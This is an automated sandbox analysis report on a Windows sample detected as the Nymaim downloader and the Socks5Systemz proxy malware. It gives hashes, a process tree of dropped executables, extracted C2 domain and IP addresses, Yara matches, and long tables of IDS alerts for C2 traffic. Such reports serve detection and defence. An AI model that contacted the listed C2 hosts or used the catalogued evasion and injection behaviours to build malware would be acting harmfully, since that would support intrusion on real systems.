Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559044
MD5:	5237853dbebaefb1dfa86130dd1d39fa
SHA1:	c2a42211c8970e1f10cc13261d5e133739c196f4
SHA256:	e185e43f039f7a97672db4a44597abd6d2bf49c08d7bc689318a098ec826bb00
Tags:	exeSocks5Systemzuser-Bitsight
Infos:

Detection

Nymaim, Socks5Systemz

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Nymaim

Yara detected Socks5Systemz

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to infect the boot sector

Contains functionality to inject code into remote processes

Found API chain indicative of debugger detection

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5237853DBEBAEFB1DFA86130DD1D39FA)

file.exe (PID: 6556 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5237853DBEBAEFB1DFA86130DD1D39FA)

NqISs1vOr.exe (PID: 6872 cmdline: "C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe" MD5: 98C5D582966DD7E46FF73E7D6D62B87D)

NqISs1vOr.tmp (PID: 6916 cmdline: "C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp" /SL5="$403E6,3817417,54272,C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe" MD5: 62FDBBA6364B54BBE42B437284A2963C)

net.exe (PID: 7036 cmdline: "C:\Windows\system32\net.exe" pause alter_game_11196 MD5: 31890A7DE89936F922D44D677F681A7F)

conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net1.exe (PID: 980 cmdline: C:\Windows\system32\net1 pause alter_game_11196 MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

altergame32.exe (PID: 2488 cmdline: "C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe" -i MD5: C1DEEF6663EFF952E8990193B3452A2F)

ebAAb6KfuCx7.exe (PID: 3236 cmdline: "C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe" MD5: F328A95046E3A2514C36347EAEC911C0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Nymaim	Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.	No Attribution	https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/ https://bitbucket.org/daniel_plohmann/idapatchwork https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/goznym/ https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim	https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim

Malware Configuration

Threatname: Socks5Systemz

{"C2 list": ["boietuj.com"]}

Threatname: Nymaim

{"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65", "185.156.72.65"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x82d5:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.3048714500.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security
Process Memory Space: altergame32.exe PID: 2488	JoeSecurity_Socks5Systemz	Yara detected Socks5Systemz	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.6315a0.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T05:03:19.330150+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:19.707958+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:22.679741+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:23.511115+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49885	185.208.158.202	80	TCP
2024-11-20T05:03:24.349525+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49892	185.208.158.202	80	TCP
2024-11-20T05:03:25.182992+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49898	185.208.158.202	80	TCP
2024-11-20T05:03:26.013459+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49904	185.208.158.202	80	TCP
2024-11-20T05:03:26.986222+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49910	185.208.158.202	80	TCP
2024-11-20T05:03:27.814581+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:28.175922+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:29.003148+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49927	185.208.158.202	80	TCP
2024-11-20T05:03:29.864671+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-20T05:03:30.897323+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:31.290583+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:32.129208+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:32.485151+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:33.323396+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49956	185.208.158.202	80	TCP
2024-11-20T05:03:34.155422+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49962	185.208.158.202	80	TCP
2024-11-20T05:03:35.150207+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49968	185.208.158.202	80	TCP
2024-11-20T05:03:36.033281+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49974	185.208.158.202	80	TCP
2024-11-20T05:03:36.989737+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.360947+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.716797+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:38.564118+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:38.925442+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:39.993516+0100	2049467	1	A Network Trojan was detected	192.168.2.4	49999	185.208.158.202	80	TCP
2024-11-20T05:03:40.837006+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50004	185.208.158.202	80	TCP
2024-11-20T05:03:41.685590+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50011	185.208.158.202	80	TCP
2024-11-20T05:03:42.515663+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50017	185.208.158.202	80	TCP
2024-11-20T05:03:43.344138+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50023	185.208.158.202	80	TCP
2024-11-20T05:03:44.181802+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50028	185.208.158.202	80	TCP
2024-11-20T05:03:45.014578+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50029	185.208.158.202	80	TCP
2024-11-20T05:03:45.841220+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-20T05:03:46.665553+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50031	185.208.158.202	80	TCP
2024-11-20T05:03:47.498201+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50032	185.208.158.202	80	TCP
2024-11-20T05:03:48.354773+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50033	185.208.158.202	80	TCP
2024-11-20T05:03:49.183437+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50034	185.208.158.202	80	TCP
2024-11-20T05:03:50.006850+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50035	185.208.158.202	80	TCP
2024-11-20T05:03:50.849542+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:51.338903+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:52.189569+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.550809+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.911402+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:53.274782+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:54.114938+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.469937+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.962762+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:55.796532+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-20T05:03:56.638762+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50040	185.208.158.202	80	TCP
2024-11-20T05:03:57.469980+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50041	185.208.158.202	80	TCP
2024-11-20T05:03:58.720031+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50042	185.208.158.202	80	TCP
2024-11-20T05:03:59.578052+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50043	185.208.158.202	80	TCP
2024-11-20T05:04:00.430705+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50044	185.208.158.202	80	TCP
2024-11-20T05:04:01.290859+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-20T05:04:02.423851+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:02.792646+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:03.640276+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50047	185.208.158.202	80	TCP
2024-11-20T05:04:04.467375+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50048	185.208.158.202	80	TCP
2024-11-20T05:04:05.296380+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50049	185.208.158.202	80	TCP
2024-11-20T05:04:06.232401+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-20T05:04:07.075224+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-20T05:04:07.930877+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-20T05:04:08.770839+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:09.241906+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:10.097218+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:10.465007+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:11.292434+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-20T05:04:13.148623+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-20T05:04:13.978186+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-20T05:04:14.830874+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:15.203927+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:16.029802+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-20T05:04:16.852260+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-20T05:04:17.704692+0100	2049467	1	A Network Trojan was detected	192.168.2.4	50061	185.208.158.202	80	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T05:03:19.330150+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:19.707958+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:22.679741+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:23.511115+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49885	185.208.158.202	80	TCP
2024-11-20T05:03:24.349525+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49892	185.208.158.202	80	TCP
2024-11-20T05:03:25.182992+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49898	185.208.158.202	80	TCP
2024-11-20T05:03:26.013459+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49904	185.208.158.202	80	TCP
2024-11-20T05:03:26.986222+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49910	185.208.158.202	80	TCP
2024-11-20T05:03:27.814581+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:28.175922+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:29.003148+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49927	185.208.158.202	80	TCP
2024-11-20T05:03:29.864671+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-20T05:03:30.897323+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:31.290583+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:32.129208+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:32.485151+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:33.323396+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49956	185.208.158.202	80	TCP
2024-11-20T05:03:34.155422+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49962	185.208.158.202	80	TCP
2024-11-20T05:03:35.150207+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49968	185.208.158.202	80	TCP
2024-11-20T05:03:36.033281+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49974	185.208.158.202	80	TCP
2024-11-20T05:03:36.989737+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.360947+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.716797+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:38.564118+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:38.925442+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:39.993516+0100	2050112	1	A Network Trojan was detected	192.168.2.4	49999	185.208.158.202	80	TCP
2024-11-20T05:03:40.837006+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50004	185.208.158.202	80	TCP
2024-11-20T05:03:41.685590+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50011	185.208.158.202	80	TCP
2024-11-20T05:03:42.515663+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50017	185.208.158.202	80	TCP
2024-11-20T05:03:43.344138+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50023	185.208.158.202	80	TCP
2024-11-20T05:03:44.181802+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50028	185.208.158.202	80	TCP
2024-11-20T05:03:45.014578+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50029	185.208.158.202	80	TCP
2024-11-20T05:03:45.841220+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-20T05:03:46.665553+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50031	185.208.158.202	80	TCP
2024-11-20T05:03:47.498201+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50032	185.208.158.202	80	TCP
2024-11-20T05:03:48.354773+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50033	185.208.158.202	80	TCP
2024-11-20T05:03:49.183437+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50034	185.208.158.202	80	TCP
2024-11-20T05:03:50.006850+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50035	185.208.158.202	80	TCP
2024-11-20T05:03:50.849542+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:51.338903+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50036	185.208.158.202	80	TCP
2024-11-20T05:03:52.189569+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.550809+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:52.911402+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:53.274782+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50037	185.208.158.202	80	TCP
2024-11-20T05:03:54.114938+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.469937+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:54.962762+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50038	185.208.158.202	80	TCP
2024-11-20T05:03:55.796532+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50039	185.208.158.202	80	TCP
2024-11-20T05:03:56.638762+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50040	185.208.158.202	80	TCP
2024-11-20T05:03:57.469980+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50041	185.208.158.202	80	TCP
2024-11-20T05:03:58.720031+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50042	185.208.158.202	80	TCP
2024-11-20T05:03:59.578052+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50043	185.208.158.202	80	TCP
2024-11-20T05:04:00.430705+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50044	185.208.158.202	80	TCP
2024-11-20T05:04:01.290859+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50045	185.208.158.202	80	TCP
2024-11-20T05:04:02.423851+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:02.792646+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50046	185.208.158.202	80	TCP
2024-11-20T05:04:03.640276+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50047	185.208.158.202	80	TCP
2024-11-20T05:04:04.467375+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50048	185.208.158.202	80	TCP
2024-11-20T05:04:05.296380+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50049	185.208.158.202	80	TCP
2024-11-20T05:04:06.232401+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50050	185.208.158.202	80	TCP
2024-11-20T05:04:07.075224+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50051	185.208.158.202	80	TCP
2024-11-20T05:04:07.930877+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50052	185.208.158.202	80	TCP
2024-11-20T05:04:08.770839+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:09.241906+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50053	185.208.158.202	80	TCP
2024-11-20T05:04:10.097218+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:10.465007+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50054	185.208.158.202	80	TCP
2024-11-20T05:04:11.292434+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50055	185.208.158.202	80	TCP
2024-11-20T05:04:13.148623+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50056	185.208.158.202	80	TCP
2024-11-20T05:04:13.978186+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50057	185.208.158.202	80	TCP
2024-11-20T05:04:14.830874+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:15.203927+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50058	185.208.158.202	80	TCP
2024-11-20T05:04:16.029802+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50059	185.208.158.202	80	TCP
2024-11-20T05:04:16.852260+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50060	185.208.158.202	80	TCP
2024-11-20T05:04:17.704692+0100	2050112	1	A Network Trojan was detected	192.168.2.4	50061	185.208.158.202	80	TCP

Code function: 0_2_00404250 SetFileAttributesW,GetCommConfig,EnumCalendarInfoW,GetLogicalDriveStringsA,SetComputerNameA,ChangeTimerQueueTimer,GetTempFileNameW,EnumTimeFormatsA,WriteConsoleInputW,GetVersionExA,InterlockedIncrement,GlobalUnWire,

0_2_00404250

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49858 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49858 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49892 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49892 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49885 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49885 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49898 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49904 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49898 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49904 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49917 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49917 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49910 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49910 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49927 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49927 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49939 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49939 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49933 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49933 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49945 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49945 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49956 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49956 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49962 -> 185.208.158.202:80
